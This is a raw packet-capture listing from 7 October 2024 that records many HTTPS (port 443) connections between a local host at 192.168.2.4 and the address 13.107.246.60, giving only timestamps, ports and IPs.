Oct 7, 2024 03:03:58.135060072 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.135185957 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.135303020 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.135348082 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.135793924 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.135828018 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.135899067 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.136033058 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.136043072 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.618422031 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.622730970 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.622775078 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.623193026 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.623210907 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.628591061 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.630105972 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.630122900 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.630548000 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.630558014 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.698452950 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.702171087 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.702194929 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.702502966 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.702508926 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.720885038 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.720959902 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.721153021 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.721343040 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.721376896 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.721405029 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.721424103 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.723751068 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.723764896 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.723839998 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.723965883 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.723974943 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.732388020 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.732450008 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.732523918 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.732671022 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.732690096 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.732711077 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.732722044 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.754430056 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.754515886 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.754623890 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.754785061 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.754822969 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.787669897 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.788013935 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.788279057 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.788360119 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.789000988 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.789016008 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.789463043 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.789484978 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.790143967 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.790149927 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.841862917 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.841928959 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.841979027 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.843337059 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.843348980 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.843367100 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.843372107 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.846467018 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.846489906 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.846539974 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.846746922 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.846760988 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.904732943 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.904930115 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.904994011 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905038118 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905038118 CEST	49772	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905045986 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.905061960 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.905083895 CEST	443	49772	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.905245066 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.905286074 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905494928 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905512094 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.905524015 CEST	49773	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.905531883 CEST	443	49773	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.908185005 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908226013 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.908287048 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908375978 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908401012 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.908415079 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908428907 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.908452988 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908602953 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.908617973 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.408361912 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.408806086 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.408817053 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.409259081 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.409264088 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.418008089 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.418354034 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.418415070 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.418755054 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.418771029 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.488280058 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.488677025 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.488699913 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.489103079 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.489109039 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.511817932 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.511890888 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.511934996 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.512058020 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.512063980 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.512077093 CEST	49774	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.512080908 CEST	443	49774	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.514341116 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.514368057 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.514444113 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.514561892 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.514589071 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.520772934 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.520837069 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.520916939 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.521028996 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.521028996 CEST	49775	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.521070004 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.521095991 CEST	443	49775	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.523036957 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.523114920 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.523195982 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.523323059 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.523355007 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.549854994 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.550342083 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.550364971 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.550714016 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.550748110 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.550754070 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.550981045 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.550992012 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.551312923 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.551316977 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.602232933 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.602374077 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.602554083 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.602554083 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.602554083 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.604718924 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.604777098 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.604868889 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.604993105 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.605025053 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.648161888 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.648298025 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.648454905 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.648454905 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.648454905 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.650218964 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.650304079 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.650387049 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.650497913 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.650532007 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.651729107 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.651791096 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.651834965 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.651936054 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.651947975 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.651957989 CEST	49779	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.651962996 CEST	443	49779	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.653784990 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.653810024 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.653878927 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.653996944 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.654011011 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.817800999 CEST	49776	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.817825079 CEST	443	49776	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:59.958431005 CEST	49778	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:59.958448887 CEST	443	49778	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.164778948 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.165235996 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.165270090 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.165849924 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.165860891 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.171426058 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.171840906 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.171904087 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.172285080 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.172297001 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.261573076 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.262185097 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.262229919 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.262543917 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.262554884 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.266093969 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.266187906 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.266341925 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.266422987 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.266422987 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.266467094 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.266496897 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.268872023 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.268956900 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.269047976 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.269177914 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.269212961 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.271395922 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.271475077 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.271579027 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.271632910 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.271632910 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.271666050 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.271691084 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.273507118 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.273530960 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.273720026 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.273849010 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.273876905 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.290416002 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.292067051 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.292129993 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.292376995 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.292407036 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.329355955 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.330904007 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.330920935 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.331298113 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.331304073 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.360586882 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.360729933 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.360860109 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.361036062 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.361072063 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.361093998 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.361104965 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.363486052 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.363522053 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.363661051 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.363784075 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.363795996 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.388467073 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.388618946 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.388814926 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.388897896 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.388897896 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.388940096 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.388971090 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.390947104 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.391016960 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.391103029 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.391227961 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.391258001 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.435794115 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.435858011 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.436034918 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.436083078 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.436083078 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.436122894 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.436146021 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.438184977 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.438227892 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:00.438317060 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.438446045 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:00.438462019 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.121359110 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.121983051 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.122015953 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.122339010 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.122348070 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.122562885 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.122803926 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.122813940 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.123137951 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.123143911 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.126344919 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.126380920 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.126578093 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.126620054 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.126765966 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.126785994 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.126924992 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.126940012 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.127238035 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.127243996 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.219818115 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.219887972 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.219954014 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.220151901 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.220165968 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.220182896 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.220189095 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.222616911 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.222645044 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.222721100 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.222893000 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.222908020 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225466967 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225498915 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225532055 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225589991 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225661993 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225717068 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225764990 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225784063 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225807905 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225817919 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225831985 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225867033 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.225894928 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.225912094 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.227916956 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.228087902 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.228164911 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228302956 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228348017 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.228617907 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228632927 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.228658915 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228666067 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228672981 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.228827953 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.228872061 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.229527950 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.229619026 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.230421066 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.230444908 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.230504990 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.230566978 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.230587006 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.230621099 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.230671883 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.230710030 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.306982994 CEST	443	49789	13.107.246.60	192.168.2.4
